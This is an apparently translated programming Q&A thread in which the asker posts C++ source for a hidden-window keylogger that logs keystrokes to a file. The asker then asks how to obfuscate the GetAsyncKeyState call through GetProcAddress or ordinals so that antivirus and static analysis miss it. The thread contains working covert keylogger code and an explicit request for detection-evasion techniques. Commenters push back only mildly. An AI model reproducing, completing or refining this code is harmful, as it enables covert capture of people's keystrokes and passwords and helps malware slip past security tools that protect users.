【发布时间】:2021-06-20 14:41:08
【问题描述】:
我正在制作自己的源代码混淆器,我注意到如果源代码中有这样的函数调用,一些防病毒引擎会检测到一个简单的键盘记录器。 “GetASyncKeyState”。以这个源代码为例,它是一个简单的键盘记录主函数。
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 8; KEY <= 190; KEY++)
{
if (GetAsyncKeyState(KEY) == -32767) {
if (SpecialKeys(KEY) == false) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
}
return 0;
}
我想混淆“GetAsyncKeyState”名称的函数调用,以便没有 AV 可以将其检测为键盘记录器。我对使用序数和 GetProcAddress 实现函数调用感到困惑。就像我在下面的代码中尝试过的一样。
typedef int(__cdecl *MYPROC)(LPWSTR);
int main(void)
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
// Get a handle to the DLL module.
hinstLib = LoadLibrary(TEXT("user32.dll"));
// If the handle is valid, try to get the function address.
if (hinstLib != NULL)
{
ProcAdd = (MYPROC)GetProcAddress(hinstLib, "GetAsyncKeyState");
// If the function address is valid, call the function.
if (NULL != ProcAdd)
{
fRunTimeLinkSuccess = TRUE;
(ProcAdd)(L"Message sent to the DLL function\n Loaded Wao");
printf("Yahooo Function Called");
}
// Free the DLL module.
fFreeResult = FreeLibrary(hinstLib);
}
// If unable to call the DLL function, use an alternative.
if (!fRunTimeLinkSuccess)
printf("Message printed from executable\n Not Worked Soory");
getch();
return 0; }
这个实现是无法理解的。也请解释一下。
我只需要“GetAsyncKeyState(Key)”的等效项,这样我的混淆器就会检测到该函数调用并将其替换为等效调用(动态),这样我就可以绕过静态分析检测。
【问题讨论】:
-
如果你想打电话给
GetAsyncKeyState(),你必须打电话给GetAsyncKeyState()。没有办法混淆该行为。你也许可以间接调用,但你仍然必须这样做。 -
使用序数调用函数怎么样?还是通过 GetProcAddress 等?
-
也许吧。这取决于实施的具体情况。请记住,您不是第一个尝试这样做的人。
-
1) AV 非常了解
GetProcAddress,以及其他比这更深层次的技巧。 2)GetAsyncKeyState有很多个合法用途,所以单独调用不会触发任何警报。 -
这个实现是无法理解的。。那是什么意思?你的意思是你写了代码但不明白你写了什么?如果有问题,请具体说明问题所在。
标签: c++ windows obfuscation antimalware